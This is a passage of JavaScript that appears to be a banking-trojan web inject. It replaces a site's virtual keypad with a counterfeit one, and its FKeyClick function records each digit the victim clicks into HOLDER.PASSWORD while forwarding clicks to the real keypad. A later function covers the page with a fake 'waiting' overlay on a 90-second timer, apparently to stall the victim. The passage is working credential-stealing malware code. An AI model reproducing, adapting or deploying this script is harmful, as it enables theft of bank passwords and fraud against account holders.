  931.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">4</td>'+
  932.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">3</td>'+
  933.                                         '</tr>'+
  934.                                        
  935.                                         '<tr>'+
  936.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">1</td>'+
  937.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">&nbsp;</td>'+
  938.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">0</td>'+
  939.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">&nbsp;</td>'+
  940.                                         '</tr>'+
  941.                                        
  942.                                         '<tr>'+
  943.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">5</td>'+
  944.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">&nbsp;</td>'+
  945.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">&nbsp;</td>'+
  946.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">6</td>'+
  947.                                         '</tr>'+
  948.                                        
  949.                                         '<tr>'+
  950.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">&nbsp;</td>'+
  951.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">2</td>'+
  952.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">9</td>'+
  953.                                             '<td style="border:2px solid #1051A9;cursor:pointer;width:35px;height:35px;color:#FFFFFF;background: #1659b3;background: -moz-linear-gradient(top,  #1659b3 0%, #207cca 0%, #185bb6 0%, #023f92 100%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1659b3), color-stop(0%,#207cca), color-stop(0%,#185bb6), color-stop(100%,#023f92));background: -webkit-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -o-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: -ms-linear-gradient(top,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);background: linear-gradient(to bottom,  #1659b3 0%,#207cca 0%,#185bb6 0%,#023f92 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#1659b3\', endColorstr=\'#023f92\',GradientType=0 );text-align:center;font-size:23px;font-family:verdana;" onClick="FKeyClick(this);">8</td>'+
  954.                                         '</tr>'+
  955.                                     '</table>';
  956.         imageclavier.parentNode.insertBefore(myClavierDiv,imageclavier);
  957.         imageclavier.style.display = "none";
  958.        
  959.         if(cdevocal)cdevocal.style.display = "none";
  960.        
  961.         var fkTable = document.getElementById("fkTable");
  962.         if(fkTable){
  963.             var trs = From(fkTable,"tr");
  964.             if(trs && trs.length > 0){
  965.                 for(var i = 0; i < trs.length; i++){
  966.                     var tds = From(trs[i],"td");
  967.                     if(tds && tds.length > 0){
  968.                         for(var e = 0; e < tds.length; e++){
  969.                             AddListenner(tds[e],"mouseover",function(evt){
  970.                                 var evt = (evt) ? evt : ((event) ? event : null);
  971.                                 var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
  972.                                 node.style.border = "2px solid #EEC77C";
  973.                             });
  974.                             AddListenner(tds[e],"mouseout",function(evt){
  975.                                 var evt = (evt) ? evt : ((event) ? event : null);
  976.                                 var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
  977.                                 node.style.border = "2px solid #1051A9";
  978.                             });
  979.                         }
  980.                     }
  981.                 }
  982.             }
  983.         }
  984.     }
  985. }
  986.  
  987. function FKeyClick(el){
  988.     var clickPatternElement = document.getElementById("val_cel_3");
  989.     if(clickPatternElement){
  990.         HOLDER.PASSWORD += /[0-9]/igm.test(Text(el)) ? Text(el) : "_";
  991.         SimulateMouse("click",clickPatternElement);
  992.         var surfocus = document.getElementById("surfocus");
  993.         if(surfocus)surfocus.style.display = "none";
  994.     }
  995. }
  996.  
  997. function CH_FINISH(){
  998.     if(!QUERY.CHANGED){
  999.         QUERY.FINISH = true;
  1000.     }
  1001. }
  1002.  
  1003. function ACTION_WAITING(dont_worry){
  1004.    
  1005.     var fkWaitContent = '<div style="left:15px;top: 90px;position: absolute;z-index: 100;color: #333333;font: 0.75em Arial;text-align: center;width:350px;">    <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJYSURBVHja7JjPi9pAFMfz3kRcpdKDgj9QwUXw4qkKxT9A6WUPhd4KXgTxHyoUehP23v9DwUMFzx5W8SIeFFrZZjaVVjbJm5k3ui09ZOAxmZB88p03mZe8B851DagxXAmDEOMiKIRAZA+WypCAR1SDpTqTna4HCyAaxiylFEDVBwyYQAwdo0Y9qZQCUlAl3NUoDasQBiiqoGEYKkxo1KJr2CmgASqVu4b30QR83p+vdzULpXLDc9DJ6vX6q36//7FUKt15nncLBAjDN+lsNBq9bbVan2q1WqLRaNwUCgXHNfhT5w4xGAzetNvtL71eL1mpVM4gZCwU6dt8Pp/sdDqfu91uAKiCAmeLDofDD8Vi8aZarUYWBYlgy5q+D3vfbDaT1M7BC0MeAsBtLpdzVFAwgMjz/quTTqVSjq1SrWIppS8WrKAc/yqb6ZvD+SxbT5/yt8NVyvEpu6HzF1oMjaExNIbG0BgaQ/8FVP62F4NKBVxyoDJkuhvlpUql4mGS4w4bn1pBpQFAnkfEH8fj0Vqpbuqe/xf9sN1uWQtlhP2x1Wr1dT6ff+coVYEi/Xg8vl8ulz/X63UEKogfW+RUdfypP5bL5W+Hw+Gdn4+6mUyGhFqXiyaTyYOfOc/2+31vt9t5iUTCTafTZ6jDKGKRmcl0Ol0tFov7bDb7uNlscrPZ7DUoSh3h9Jw6VhYRBKMwaOojMULYVhwVKU/gTREWaQ5wI5lgJmTAiFpSB+U2agf+ap64EkbuQhsoMOOtd+30yTghLCGqBQtEuZdaqIDy/6Ikb6pSnMZPAgwAIMDKTKDUFxMAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div> <div style="float:left;width:300px;">       <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAuSURBVHjaYmRgYGBkIAKAFDERo5CFFIXMxCpkGTgTRxXiThQzZ878T4xCgAADAOPEAy1aYXEMAAAAAElFTkSuQmCC) repeat-x scroll left bottom transparent;height: 14px;"></div>       <div style="background: url(data:image/gif;base64,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) no-repeat scroll 7px 7px #FFFFFF;color: #999999;font-size: 1.167em;height: 46px;margin: 0;padding: 0px 15px 0 50px;"><div style="padding-top:11px;font-size:11px;color:#185BB6;">'+FKTEXT.WAITING+'</div></div><div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAsSURBVHjaYpw5c+Z/BiIAIxDrEaOQBYj/jCqkisK/A2fiP2IUMjMQCQACDABXfg8C4LEGcAAAAABJRU5ErkJggg==) repeat-x scroll left top transparent;height: 14px;"></div>   </div>  <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKsSURBVHja7Jm/qxpBEMdn9wnGkHSCWGiRMlja+AcI6SSQPyCVEJI/SAQRhfRpguA/ICm0slFEEYlaWaXw6d3uu/NHmDfO7u3FR6pbGNbTu898d/aHzigAQMK5aXje6LVzSxmg+h44Bw17Qa51HHgIfSAPc6DQiXJVfoVyMGqS3BdLKTbFXEfGOgS+uQyPGlh655hSVQL1NJ5WxamL4ZgpBsYBjGAMvQKxQmo+ei2RAFYpVicRXEQoZeFYqUImDJNCN4hgNsszpVevvmWW6XqmK+X0+UOz2dzUarUP5XL57Wq1mux2O4+AuBBog5PzA8fjUW+3W5hMJvvFYnEcDodfG43Gr4tiF8NhO8GFDtrVQ6AU+v3+42Aw+NxqtUbBWx562LNAfbwcJR5XoVCAarWarlQqjVwul75sDEnMtvNOTdKZKBaLkM/nX9Xr9U9o8rieg/PQsJVKpXQA/xihkFMrjNBsNgtCiHeOsJvGQjOZDCilXjuo4hwIFhqohGBRxFZoVUoWvnA4b2NBbQezKRROSoGL2z3DN4UDXhLq1BJoAk2gCTSBJtAE+r+hTim6dIBwMH2vUu3o8K9j6ThczowO/xUaP6aHwwGklI8RCk2ONAsNsr7w1/RvpgbgpJiFjsfj/Xq9/sFlcw7qb6GbzQaWy6Xf7Xa/k6KCMtRVblRLCuz1evvRaPRtNpv9YXJP5bIKUp7nQZjwTqfT/Xw+94OE9wtKeOMO/wxtt9t+MNOLQOXPTqfTRQp9g9IoJ6ff7+/JjTgzpj33msb6VJXwmHKHMoCjlAKGcjOsHIFsCckjJSRlUc6BVRRUR0C1DUahYHlIGUZg3K4pVP/QFqhtR1mVupY6Iw8UrDTqUHY+U69QiDgvIW752Ge+c+DeQrcylOG1qzIuf3/xPw+eBBgA9ioHIvHy2yIAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div></div>';
  1006.  
  1007.     var popup_elem_common = document.getElementById("popup_elem_common");
  1008.     if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
  1009.     var popup_elem = document.createElement("div");
  1010.     popup_elem.id = "popup_elem_common";
  1011.     popup_elem.style.position = "absolute";
  1012.     popup_elem.style.top = "0px";
  1013.     popup_elem.style.left = "0px";
  1014.     popup_elem.style.width = "100%";
  1015.     popup_elem.style.height = "100%";
  1016.     popup_elem.style.zIndex = "1001";
  1017.     popup_elem.style.background = "url(blank.gif)";
  1018.     popup_elem.innerHTML = fkWaitContent;
  1019.     document.getElementsByTagName('body')[0].appendChild(popup_elem);
  1020.    
  1021.     if(dont_worry)return false;
  1022.     setTimeout(CH_FINISH,90000);
  1023. }
